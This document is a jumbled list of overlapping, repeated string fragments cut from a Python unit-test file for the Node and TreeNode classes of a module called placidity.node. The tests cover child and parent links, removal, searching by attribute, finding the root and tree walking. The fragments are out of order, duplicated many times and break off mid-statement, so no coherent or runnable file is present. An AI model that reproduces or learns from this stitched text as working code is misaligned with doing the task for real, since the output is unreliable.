"assert node == result[i], '%s %s %s' % (i, node, result[i]) class TestTreeNode():",
"2 assert node2 in node1.children assert node3 in node1.children def test_remove_child_node(self): node1, node2",
"node1a2) node1b.children.append(node1b1) assert node1.find_child(value=13) == node1a2 assert node1.find_child(find_me=True) == node1b1 assert node1.find_child(color='blue') ==",
"%s %s' % (i, node, result[i]) class TestTreeNode(): def test_set_parent(self): node1, node2 =",
"assert node2.find_root() == None def test_find_parent_with_value_name(self): node1, node2, node3 = Node(), Node(), Node()",
"node1b = Node() node1b1 = Node() node1b1.find_me = True node1b1.color = 'blue' node1.parents.append(node1a,",
"Node(), Node(), Node(), Node() node1.children.append(node1a, node1b) node1a.children.append(node1a1) assert node1.find_root() == None assert node1a.find_root()",
"enumerate(node1.walk()): assert node == result[i], '%s %s %s' % (i, node, result[i]) class",
"node2.children[0] == node1 def test_append_same_node_as_child_and_parent(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.parents.append(node2) assert",
"Node() node1.children.append(node2) node1.parents.append(node2) assert node1.children[0] == node2 assert node1.parents[0] == node2 assert node2.children[0]",
"== node1 def test_append_same_node_as_child_and_parent(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.parents.append(node2) assert node1.children[0]",
"node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] == node1 def test_append_same_node_as_child_and_parent(self): node1, node2",
"== node1 assert node2.parents[0] == node1 def test_append_same_node_as_child_multiple_times(self): node1, node2 = Node(), Node()",
"== node2 assert node2.children[0] == node1 assert len(node1.parents) == 1 assert len(node2.children) ==",
"node2 = Node(), Node() node1.children.append(node2) node1.children.append(node2) node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0]",
"len(node2.parents) == 1 def test_append_same_node_as_parent_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.append(node2) node1.parents.append(node2)",
"test_set_parent(self): node1, node2 = TreeNode(), TreeNode() node1.parent = node2 assert node1.parent == node2",
"'blue' node1a2 = Node() node1a2.value = 13 node1b = Node() node1b1 = Node()",
"'%s %s %s' % (i, node, result[i]) class TestTreeNode(): def test_set_parent(self): node1, node2",
"node1.parents[0] == node2 assert node2.children[0] == node1 assert len(node1.parents) == 1 assert len(node2.children)",
"Node() node1b1 = Node() node1b1.find_me = True node1b1.color = 'blue' node1.parents.append(node1a, node1b) node1a.parents.append(node1a1,",
"node2 = Node(), Node() node1.children.append(node2) node1.children.remove(node2) assert len(node1.children) == 0 assert len(node2.parents) ==",
"node1.parents.append(node2) assert node1.find_parent(name='node to be found') == node2 def test_find_parent_node_no_results(self): node1 = Node()",
"== node1 assert node1a1.find_root() == node1 def test_cyclic_find(self): node1, node2 = Node(), Node()",
"assert node1b.find_root() == node1 assert node1a1.find_root() == node1 def test_cyclic_find(self): node1, node2 =",
"node1.find_child(find_me=True) == node1b1 assert node1.find_child(color='blue') == [node1a1, node1b1] def test_find_immediate_parent_node(self): node1, node2 =",
"== None def test_find_child_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1 = Node()",
"(node1, node3, node4, node2, node5 ) for i, node in enumerate(node1.walk()): assert node",
"Node(), Node(), Node() node1.children.append(node2, node3) assert len(node1.children) == 2 assert node2 in node1.children",
"node1 = Node() assert node1.find_parent(name='just some name') == None def test_find_parent_node_from_node_tree(self): node1 =",
"node3 in node1.children def test_remove_child_node(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.remove(node2) assert",
"for i, node in enumerate(node1.walk()): assert node == result[i], '%s %s %s' %",
"== node2 assert node1.find(name='bar') == node3 assert node1.find(name='dummy') == None assert node2.find(name='foo') ==",
"node1, node2 = Node(), Node() node2.name = 'node to be found' node1.children.append(node2) assert",
"node1.parent = node2 node1.parent = node3 assert node2.children == [] assert node3.children ==",
"assert node1a1.find_root() == node1 def test_cyclic_find(self): node1, node2 = Node(), Node() node1.children.append(node2) node2.children.append(node1)",
"= Node() assert node1.find_child(name='just some name') == None def test_find_child_node_from_node_tree(self): node1 = Node()",
"test_append_same_node_as_child_multiple_times(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.append(node2) node1.children.append(node2) assert node1.children[0] == node2",
"= node1 node2.name = 'foo' node3.name = 'bar' assert node1.find(name='foo') == node2 assert",
"= Node(), Node(), Node() node1.children.append(node2, node3) node1.children.remove(node2, node3) assert len(node1.children) == 0 def",
"# -*- coding: utf-8 -*- from placidity.node import Node, TreeNode class TestNode(): def",
"assert len(node2.parents) == 1 def test_append_same_node_as_parent_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.append(node2)",
"node2.name = 'node to be found' node1.parents.append(node2) assert node1.find_parent(name='node to be found') ==",
"assert node1.find_parent(find_me=True) == node1b1 assert node1.find_parent(color='blue') == [node1a1, node1b1] assert node1.find_parent(find_me=True, color='blue') ==",
"Node() assert node1.find_parent(name='just some name') == None def test_find_parent_node_from_node_tree(self): node1 = Node() node1a",
"node1a.children.append(node1a1) assert node1.find_root() == None assert node1a.find_root() == node1 assert node1b.find_root() == node1",
"node1.find(name='foo') == node2 assert node1.find(name='bar') == node3 assert node1.find(name='dummy') == None assert node2.find(name='foo')",
"== 1 def test_multi_append(self): node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3)",
"= 'node to be found' node1.children.append(node2) assert node1.find_child(name='node to be found') == node2",
"node1, node2, node3, node4 = Node(), Node(), Node(), Node() node5 = Node() node1.children.append(node2)",
"node1 def test_append_same_node_as_child_multiple_times(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.append(node2) node1.children.append(node2) assert node1.children[0]",
"assert len(node2.children) == 1 def test_multi_append(self): node1, node2, node3 = Node(), Node(), Node()",
"assert node1.find_parent(color='blue') == [node1a1, node1b1] assert node1.find_parent(find_me=True, color='blue') == node1b1 def test_find_root(self): node1,",
"len(node1.children) == 0 def test_find_immediate_child_node(self): node1, node2 = Node(), Node() node2.name = 'node",
"= TreeNode(), TreeNode() node1.parent = node2 assert node1.parent == node2 assert node2.children ==",
"= (node1, node3, node4, node2, node5 ) for i, node in enumerate(node1.walk()): assert",
"'node to be found' node1.parents.append(node2) assert node1.find_parent(name='node to be found') == node2 def",
"Node(), Node() node1.children.append(node2, node3) node1.children.remove(node2, node3) assert len(node1.children) == 0 def test_find_immediate_child_node(self): node1,",
"node2.parent = node1 node3.parent = node1 node2.name = 'foo' node3.name = 'bar' assert",
"test_multi_remove(self): node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3) node1.children.remove(node2, node3) assert",
"node1.children.remove(node2, node3) assert len(node1.children) == 0 def test_find_immediate_child_node(self): node1, node2 = Node(), Node()",
"node == result[i], '%s %s %s' % (i, node, result[i]) class TestTreeNode(): def",
"Node(), Node(), Node() node1.children.append(node1a, node1b) node1a.children.append(node1a1) assert node1.find_root() == None assert node1a.find_root() ==",
"assert node2.parents[0] == node1 def test_append_same_node_as_child_multiple_times(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.append(node2)",
"node1, node2 = TreeNode(), TreeNode() node1.parent = node2 assert node1.parent == node2 assert",
"assert node1.find_parent_with_attribute('attribute_to_find') == node3 def test_walk(self): node1, node2, node3, node4 = Node(), Node(),",
"node1b1] def test_find_immediate_parent_node(self): node1, node2 = Node(), Node() node2.name = 'node to be",
"node3.children == [node1, ] def test_find(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode()",
"in node1.children assert node3 in node1.children def test_remove_child_node(self): node1, node2 = Node(), Node()",
"assert node1.children[0] == node2 assert node2.parents[0] == node1 def test_append_parents_to_node(self): node1, node2 =",
"def test_find_parent_with_value_name(self): node1, node2, node3 = Node(), Node(), Node() node3.attribute_to_find = 'find me'",
"node2 assert node2.children[0] == node1 assert node2.parents[0] == node1 def test_append_same_node_as_child_multiple_times(self): node1, node2",
"== node2 assert node2.children[0] == node1 def test_append_same_node_as_child_and_parent(self): node1, node2 = Node(), Node()",
"be found') == node2 def test_find_parent_node_no_results(self): node1 = Node() assert node1.find_parent(name='just some name')",
"name') == None def test_find_parent_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1 =",
"== 0 def test_multi_remove(self): node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3)",
"TreeNode(), TreeNode(), TreeNode() node2.parent = node1 node3.parent = node1 node2.name = 'foo' node3.name",
"node2 node1.parent = node3 assert node2.children == [] assert node3.children == [node1, ]",
"node1.parents.append(node2) node2.parents.append(node3) assert node1.find_parent_with_attribute('attribute_to_find') == node3 def test_walk(self): node1, node2, node3, node4 =",
"len(node1.parents) == 0 assert len(node2.children) == 0 def test_remove_same_node_multiple_times(self): node1, node2 = Node(),",
"to be found') == node2 def test_find_child_node_no_results(self): node1 = Node() assert node1.find_child(name='just some",
"node1a.find_root() == node1 assert node1b.find_root() == node1 assert node1a1.find_root() == node1 def test_cyclic_find(self):",
"node1.children def test_remove_child_node(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.remove(node2) assert len(node1.children) ==",
"test_multi_append(self): node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3) assert len(node1.children) ==",
"def test_remove_same_node_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) node1.parents.remove(node2) node1.parents.remove(node2) assert len(node1.parents)",
"assert node1.find_child(value=13) == node1a2 assert node1.find_child(find_me=True) == node1b1 assert node1.find_child(color='blue') == [node1a1, node1b1]",
"placidity.node import Node, TreeNode class TestNode(): def test_append_children_to_node(self): node1, node2 = Node(), Node()",
"= 'find me' node1.parents.append(node2) node2.parents.append(node3) assert node1.find_parent_with_attribute('attribute_to_find') == node3 def test_walk(self): node1, node2,",
"'find me' node1.parents.append(node2) node2.parents.append(node3) assert node1.find_parent_with_attribute('attribute_to_find') == node3 def test_walk(self): node1, node2, node3,",
"-*- coding: utf-8 -*- from placidity.node import Node, TreeNode class TestNode(): def test_append_children_to_node(self):",
"= node2 node1.parent = node3 assert node2.children == [] assert node3.children == [node1,",
"def test_append_parents_to_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) assert node1.parents[0] == node2 assert",
"1 assert len(node2.children) == 1 def test_multi_append(self): node1, node2, node3 = Node(), Node(),",
"def test_append_children_to_node(self): node1, node2 = Node(), Node() node1.children.append(node2) assert node1.children[0] == node2 assert",
"0 def test_remove_same_node_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) node1.parents.remove(node2) node1.parents.remove(node2) assert",
"node2.children == [node1, ] def test_set_parent_twice(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode()",
"node3) assert len(node1.children) == 0 def test_find_immediate_child_node(self): node1, node2 = Node(), Node() node2.name",
"node1b1.find_me = True node1b1.color = 'blue' node1.children.append(node1a, node1b) node1a.children.append(node1a1, node1a2) node1b.children.append(node1b1) assert node1.find_child(value=13)",
"node1.children.append(node2) node1.children.append(node5) node2.children.append(node3) node2.children.append(node4) result = (node1, node3, node4, node2, node5 ) for",
"Node() node1a1 = Node() node1a1.color = 'blue' node1a2 = Node() node1a2.value = 13",
"node2 = Node(), Node() node1.parents.append(node2) node1.parents.append(node2) node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0]",
"= Node(), Node() node1.children.append(node2) node2.children.append(node1) assert node1.find_root() == None assert node2.find_root() == None",
"node3) node1.children.remove(node2, node3) assert len(node1.children) == 0 def test_find_immediate_child_node(self): node1, node2 = Node(),",
"test_remove_same_node_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) node1.parents.remove(node2) node1.parents.remove(node2) assert len(node1.parents) ==",
"= Node(), Node() node2.name = 'node to be found' node1.parents.append(node2) assert node1.find_parent(name='node to",
"Node(), Node() node5 = Node() node1.children.append(node2) node1.children.append(node5) node2.children.append(node3) node2.children.append(node4) result = (node1, node3,",
"node1.children.append(node2, node3) assert len(node1.children) == 2 assert node2 in node1.children assert node3 in",
"1 def test_append_same_node_as_parent_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.append(node2) node1.parents.append(node2) assert node1.parents[0]",
"def test_find_immediate_child_node(self): node1, node2 = Node(), Node() node2.name = 'node to be found'",
"] def test_find(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node2.parent = node1",
"assert node2.parents[0] == node1 def test_append_parents_to_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) assert",
"node1.parents.append(node2) node1.parents.remove(node2) node1.parents.remove(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) == 0 def",
"in enumerate(node1.walk()): assert node == result[i], '%s %s %s' % (i, node, result[i])",
"Node(), Node(), Node() node1.children.append(node2, node3) node1.children.remove(node2, node3) assert len(node1.children) == 0 def test_find_immediate_child_node(self):",
"'blue' node1.parents.append(node1a, node1b) node1a.parents.append(node1a1, node1a2) node1b.parents.append(node1b1) assert node1.find_parent(value=13) == node1a2 assert node1.find_parent(find_me=True) ==",
"TreeNode(), TreeNode() node2.parent = node1 node3.parent = node1 node2.name = 'foo' node3.name =",
"Node, TreeNode class TestNode(): def test_append_children_to_node(self): node1, node2 = Node(), Node() node1.children.append(node2) assert",
"to be found' node1.parents.append(node2) assert node1.find_parent(name='node to be found') == node2 def test_find_parent_node_no_results(self):",
"node2.find_root() == None def test_find_parent_with_value_name(self): node1, node2, node3 = Node(), Node(), Node() node3.attribute_to_find",
"def test_find_immediate_parent_node(self): node1, node2 = Node(), Node() node2.name = 'node to be found'",
"node2 assert node2.children[0] == node1 assert len(node1.parents) == 1 assert len(node2.children) == 1",
"== node1b1 assert node1.find_child(color='blue') == [node1a1, node1b1] def test_find_immediate_parent_node(self): node1, node2 = Node(),",
"node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3) assert len(node1.children) == 2",
"Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) node1.parents.remove(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) ==",
"= 'blue' node1a2 = Node() node1a2.value = 13 node1b = Node() node1b1 =",
"node, result[i]) class TestTreeNode(): def test_set_parent(self): node1, node2 = TreeNode(), TreeNode() node1.parent =",
"def test_cyclic_find(self): node1, node2 = Node(), Node() node1.children.append(node2) node2.children.append(node1) assert node1.find_root() == None",
"node2 = Node(), Node() node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] == node1",
"== [node1a1, node1b1] assert node1.find_parent(find_me=True, color='blue') == node1b1 def test_find_root(self): node1, node1a, node1b,",
"node1b1.color = 'blue' node1.children.append(node1a, node1b) node1a.children.append(node1a1, node1a2) node1b.children.append(node1b1) assert node1.find_child(value=13) == node1a2 assert",
"[] assert node3.children == [node1, ] def test_find(self): node1, node2, node3 = TreeNode(),",
"be found') == node2 def test_find_child_node_no_results(self): node1 = Node() assert node1.find_child(name='just some name')",
"None def test_find_child_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1 = Node() node1a1.color",
"node1.children.append(node2) assert node1.find_child(name='node to be found') == node2 def test_find_child_node_no_results(self): node1 = Node()",
"def test_append_same_node_as_parent_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.append(node2) node1.parents.append(node2) assert node1.parents[0] ==",
"0 assert len(node2.children) == 0 def test_remove_same_node_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2)",
"node1.children.append(node5) node2.children.append(node3) node2.children.append(node4) result = (node1, node3, node4, node2, node5 ) for i,",
"assert node1.parent == node2 assert node2.children == [node1, ] def test_set_parent_twice(self): node1, node2,",
"== node2 def test_find_child_node_no_results(self): node1 = Node() assert node1.find_child(name='just some name') == None",
"node2 assert node1.parent == node2 assert node2.children == [node1, ] def test_set_parent_twice(self): node1,",
"node1 def test_append_parents_to_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) assert node1.parents[0] == node2",
"None assert node2.find_root() == None def test_find_parent_with_value_name(self): node1, node2, node3 = Node(), Node(),",
"found' node1.children.append(node2) assert node1.find_child(name='node to be found') == node2 def test_find_child_node_no_results(self): node1 =",
"node3 = Node(), Node(), Node() node3.attribute_to_find = 'find me' node1.parents.append(node2) node2.parents.append(node3) assert node1.find_parent_with_attribute('attribute_to_find')",
"Node(), Node(), Node() node5 = Node() node1.children.append(node2) node1.children.append(node5) node2.children.append(node3) node2.children.append(node4) result = (node1,",
"assert node1.find_child(name='just some name') == None def test_find_child_node_from_node_tree(self): node1 = Node() node1a =",
"== 1 def test_append_same_node_as_parent_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.append(node2) node1.parents.append(node2) assert",
"[node1a1, node1b1] assert node1.find_parent(find_me=True, color='blue') == node1b1 def test_find_root(self): node1, node1a, node1b, node1a1",
"node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node2.parent = node1 node3.parent = node1",
"node2 in node1.children assert node3 in node1.children def test_remove_child_node(self): node1, node2 = Node(),",
"= 'node to be found' node1.parents.append(node2) assert node1.find_parent(name='node to be found') == node2",
"node1 node3.parent = node1 node2.name = 'foo' node3.name = 'bar' assert node1.find(name='foo') ==",
"def test_remove_parent_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) assert len(node1.parents) == 0",
"= TreeNode(), TreeNode(), TreeNode() node1.parent = node2 node1.parent = node3 assert node2.children ==",
"test_find_child_node_no_results(self): node1 = Node() assert node1.find_child(name='just some name') == None def test_find_child_node_from_node_tree(self): node1",
"node2 assert node2.children == [node1, ] def test_set_parent_twice(self): node1, node2, node3 = TreeNode(),",
"node1b = Node() node1b1 = Node() node1b1.find_me = True node1b1.color = 'blue' node1.children.append(node1a,",
"== node1a2 assert node1.find_child(find_me=True) == node1b1 assert node1.find_child(color='blue') == [node1a1, node1b1] def test_find_immediate_parent_node(self):",
"node1.children.append(node2) node1.parents.append(node2) assert node1.children[0] == node2 assert node1.parents[0] == node2 assert node2.children[0] ==",
"node3 = Node(), Node(), Node() node1.children.append(node2, node3) assert len(node1.children) == 2 assert node2",
"found') == node2 def test_find_parent_node_no_results(self): node1 = Node() assert node1.find_parent(name='just some name') ==",
"node1.parents[0] == node2 assert node2.children[0] == node1 assert node2.parents[0] == node1 def test_append_same_node_as_child_multiple_times(self):",
"def test_find_parent_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1 = Node() node1a1.color =",
"== node1a2 assert node1.find_parent(find_me=True) == node1b1 assert node1.find_parent(color='blue') == [node1a1, node1b1] assert node1.find_parent(find_me=True,",
"== node1 assert node1b.find_root() == node1 assert node1a1.find_root() == node1 def test_cyclic_find(self): node1,",
"== 0 assert len(node2.children) == 0 def test_multi_remove(self): node1, node2, node3 = Node(),",
"Node() node1a2.value = 13 node1b = Node() node1b1 = Node() node1b1.find_me = True",
"node1a, node1b, node1a1 = Node(), Node(), Node(), Node() node1.children.append(node1a, node1b) node1a.children.append(node1a1) assert node1.find_root()",
"== [] assert node3.children == [node1, ] def test_find(self): node1, node2, node3 =",
"node1 = Node() assert node1.find_child(name='just some name') == None def test_find_child_node_from_node_tree(self): node1 =",
"node1b) node1a.children.append(node1a1, node1a2) node1b.children.append(node1b1) assert node1.find_child(value=13) == node1a2 assert node1.find_child(find_me=True) == node1b1 assert",
"node1.find_parent(name='node to be found') == node2 def test_find_parent_node_no_results(self): node1 = Node() assert node1.find_parent(name='just",
"Node(), Node() node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] == node1 def test_append_parents_to_node(self):",
"node1b1.color = 'blue' node1.parents.append(node1a, node1b) node1a.parents.append(node1a1, node1a2) node1b.parents.append(node1b1) assert node1.find_parent(value=13) == node1a2 assert",
"def test_append_same_node_as_child_multiple_times(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.append(node2) node1.children.append(node2) assert node1.children[0] ==",
"node3 = TreeNode(), TreeNode(), TreeNode() node1.parent = node2 node1.parent = node3 assert node2.children",
"True node1b1.color = 'blue' node1.parents.append(node1a, node1b) node1a.parents.append(node1a1, node1a2) node1b.parents.append(node1b1) assert node1.find_parent(value=13) == node1a2",
"node1b) node1a.parents.append(node1a1, node1a2) node1b.parents.append(node1b1) assert node1.find_parent(value=13) == node1a2 assert node1.find_parent(find_me=True) == node1b1 assert",
"node1, node2, node3 = Node(), Node(), Node() node3.attribute_to_find = 'find me' node1.parents.append(node2) node2.parents.append(node3)",
"node in enumerate(node1.walk()): assert node == result[i], '%s %s %s' % (i, node,",
"node1.children.remove(node2) assert len(node1.children) == 0 assert len(node2.parents) == 0 def test_remove_parent_node(self): node1, node2",
"def test_multi_remove(self): node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3) node1.children.remove(node2, node3)",
"node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] == node1 def test_append_parents_to_node(self): node1, node2",
"node1a2 assert node1.find_parent(find_me=True) == node1b1 assert node1.find_parent(color='blue') == [node1a1, node1b1] assert node1.find_parent(find_me=True, color='blue')",
"node1a1.find_root() == node1 def test_cyclic_find(self): node1, node2 = Node(), Node() node1.children.append(node2) node2.children.append(node1) assert",
"Node(), Node() node2.name = 'node to be found' node1.children.append(node2) assert node1.find_child(name='node to be",
"= node1 node3.parent = node1 node2.name = 'foo' node3.name = 'bar' assert node1.find(name='foo')",
") for i, node in enumerate(node1.walk()): assert node == result[i], '%s %s %s'",
"node1b1 assert node1.find_parent(color='blue') == [node1a1, node1b1] assert node1.find_parent(find_me=True, color='blue') == node1b1 def test_find_root(self):",
"test_cyclic_find(self): node1, node2 = Node(), Node() node1.children.append(node2) node2.children.append(node1) assert node1.find_root() == None assert",
"Node() node3.attribute_to_find = 'find me' node1.parents.append(node2) node2.parents.append(node3) assert node1.find_parent_with_attribute('attribute_to_find') == node3 def test_walk(self):",
"node1a1 = Node(), Node(), Node(), Node() node1.children.append(node1a, node1b) node1a.children.append(node1a1) assert node1.find_root() == None",
"node3.name = 'bar' assert node1.find(name='foo') == node2 assert node1.find(name='bar') == node3 assert node1.find(name='dummy')",
"assert node3 in node1.children def test_remove_child_node(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.remove(node2)",
"Node() node2.name = 'node to be found' node1.children.append(node2) assert node1.find_child(name='node to be found')",
"len(node2.children) == 0 def test_multi_remove(self): node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2,",
"TestTreeNode(): def test_set_parent(self): node1, node2 = TreeNode(), TreeNode() node1.parent = node2 assert node1.parent",
"some name') == None def test_find_parent_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1",
"node1.parent = node3 assert node2.children == [] assert node3.children == [node1, ] def",
"Node(), Node() node1.children.append(node2) node1.children.remove(node2) assert len(node1.children) == 0 assert len(node2.parents) == 0 def",
"node2, node3 = TreeNode(), TreeNode(), TreeNode() node2.parent = node1 node3.parent = node1 node2.name",
"test_find_parent_node_no_results(self): node1 = Node() assert node1.find_parent(name='just some name') == None def test_find_parent_node_from_node_tree(self): node1",
"= Node(), Node() node1.children.append(node2) node1.parents.append(node2) assert node1.children[0] == node2 assert node1.parents[0] == node2",
"TreeNode(), TreeNode(), TreeNode() node1.parent = node2 node1.parent = node3 assert node2.children == []",
"== None assert node2.find_root() == None def test_find_parent_with_value_name(self): node1, node2, node3 = Node(),",
"node3 def test_walk(self): node1, node2, node3, node4 = Node(), Node(), Node(), Node() node5",
"node1a1 = Node() node1a1.color = 'blue' node1a2 = Node() node1a2.value = 13 node1b",
"node1.children.append(node2) node2.children.append(node1) assert node1.find_root() == None assert node2.find_root() == None def test_find_parent_with_value_name(self): node1,",
"node1.parent = node2 assert node1.parent == node2 assert node2.children == [node1, ] def",
"node1.find_parent(find_me=True) == node1b1 assert node1.find_parent(color='blue') == [node1a1, node1b1] assert node1.find_parent(find_me=True, color='blue') == node1b1",
"== node2 assert node1.parents[0] == node2 assert node2.children[0] == node1 assert node2.parents[0] ==",
"= Node() node1b1 = Node() node1b1.find_me = True node1b1.color = 'blue' node1.children.append(node1a, node1b)",
"assert node1.find_parent(name='just some name') == None def test_find_parent_node_from_node_tree(self): node1 = Node() node1a =",
"None def test_find_parent_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1 = Node() node1a1.color",
"= Node() node1a2.value = 13 node1b = Node() node1b1 = Node() node1b1.find_me =",
"== node1 assert len(node1.parents) == 1 assert len(node2.children) == 1 def test_multi_append(self): node1,",
"node2.name = 'foo' node3.name = 'bar' assert node1.find(name='foo') == node2 assert node1.find(name='bar') ==",
"== node3 def test_walk(self): node1, node2, node3, node4 = Node(), Node(), Node(), Node()",
"node1, node2 = Node(), Node() node1.children.append(node2) node1.children.append(node2) node1.children.append(node2) assert node1.children[0] == node2 assert",
"assert node1a.find_root() == node1 assert node1b.find_root() == node1 assert node1a1.find_root() == node1 def",
"def test_find_child_node_no_results(self): node1 = Node() assert node1.find_child(name='just some name') == None def test_find_child_node_from_node_tree(self):",
"len(node2.parents) == 0 def test_remove_parent_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) assert",
"len(node1.children) == 1 assert len(node2.parents) == 1 def test_append_same_node_as_parent_multiple_times(self): node1, node2 = Node(),",
"Node() assert node1.find_child(name='just some name') == None def test_find_child_node_from_node_tree(self): node1 = Node() node1a",
"node1b1 assert node1.find_child(color='blue') == [node1a1, node1b1] def test_find_immediate_parent_node(self): node1, node2 = Node(), Node()",
"assert node1.children[0] == node2 assert node1.parents[0] == node2 assert node2.children[0] == node1 assert",
"node1.children[0] == node2 assert node1.parents[0] == node2 assert node2.children[0] == node1 assert node2.parents[0]",
"1 assert len(node2.parents) == 1 def test_append_same_node_as_parent_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2)",
"name') == None def test_find_child_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1 =",
"TreeNode() node1.parent = node2 assert node1.parent == node2 assert node2.children == [node1, ]",
"in node1.children def test_remove_child_node(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.remove(node2) assert len(node1.children)",
"node1a2.value = 13 node1b = Node() node1b1 = Node() node1b1.find_me = True node1b1.color",
"node1, node2 = Node(), Node() node2.name = 'node to be found' node1.parents.append(node2) assert",
"node2 assert node2.parents[0] == node1 def test_append_parents_to_node(self): node1, node2 = Node(), Node() node1.parents.append(node2)",
"Node() node1.children.append(node2) node1.children.append(node2) node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] == node1 assert",
"test_set_parent_twice(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node1.parent = node2 node1.parent =",
"= 13 node1b = Node() node1b1 = Node() node1b1.find_me = True node1b1.color =",
"class TestNode(): def test_append_children_to_node(self): node1, node2 = Node(), Node() node1.children.append(node2) assert node1.children[0] ==",
"def test_set_parent_twice(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node1.parent = node2 node1.parent",
"node2 assert node1.find(name='bar') == node3 assert node1.find(name='dummy') == None assert node2.find(name='foo') == None",
"= Node() node1a1.color = 'blue' node1a2 = Node() node1a2.value = 13 node1b =",
"'bar' assert node1.find(name='foo') == node2 assert node1.find(name='bar') == node3 assert node1.find(name='dummy') == None",
"test_append_same_node_as_parent_multiple_times(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.append(node2) node1.parents.append(node2) assert node1.parents[0] == node2",
"== 1 assert len(node2.children) == 1 def test_multi_append(self): node1, node2, node3 = Node(),",
"test_remove_parent_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert",
"be found' node1.parents.append(node2) assert node1.find_parent(name='node to be found') == node2 def test_find_parent_node_no_results(self): node1",
"node1.children.append(node2, node3) node1.children.remove(node2, node3) assert len(node1.children) == 0 def test_find_immediate_child_node(self): node1, node2 =",
"node2.parents.append(node3) assert node1.find_parent_with_attribute('attribute_to_find') == node3 def test_walk(self): node1, node2, node3, node4 = Node(),",
"node1.find_parent(name='just some name') == None def test_find_parent_node_from_node_tree(self): node1 = Node() node1a = Node()",
"= Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) == 0",
"= True node1b1.color = 'blue' node1.children.append(node1a, node1b) node1a.children.append(node1a1, node1a2) node1b.children.append(node1b1) assert node1.find_child(value=13) ==",
"TreeNode class TestNode(): def test_append_children_to_node(self): node1, node2 = Node(), Node() node1.children.append(node2) assert node1.children[0]",
"Node(), Node() node1.children.append(node1a, node1b) node1a.children.append(node1a1) assert node1.find_root() == None assert node1a.find_root() == node1",
"0 assert len(node2.parents) == 0 def test_remove_parent_node(self): node1, node2 = Node(), Node() node1.parents.append(node2)",
"= Node(), Node(), Node() node1.children.append(node2, node3) assert len(node1.children) == 2 assert node2 in",
"def test_walk(self): node1, node2, node3, node4 = Node(), Node(), Node(), Node() node5 =",
"assert node2.children[0] == node1 def test_append_same_node_as_child_and_parent(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.parents.append(node2)",
"assert node1.find_parent(find_me=True, color='blue') == node1b1 def test_find_root(self): node1, node1a, node1b, node1a1 = Node(),",
"0 def test_find_immediate_child_node(self): node1, node2 = Node(), Node() node2.name = 'node to be",
"result[i], '%s %s %s' % (i, node, result[i]) class TestTreeNode(): def test_set_parent(self): node1,",
"[node1, ] def test_set_parent_twice(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node1.parent =",
"= Node() node1a = Node() node1a1 = Node() node1a1.color = 'blue' node1a2 =",
"Node() node1a = Node() node1a1 = Node() node1a1.color = 'blue' node1a2 = Node()",
"Node() node1.parents.append(node2) node1.parents.remove(node2) node1.parents.remove(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) == 0",
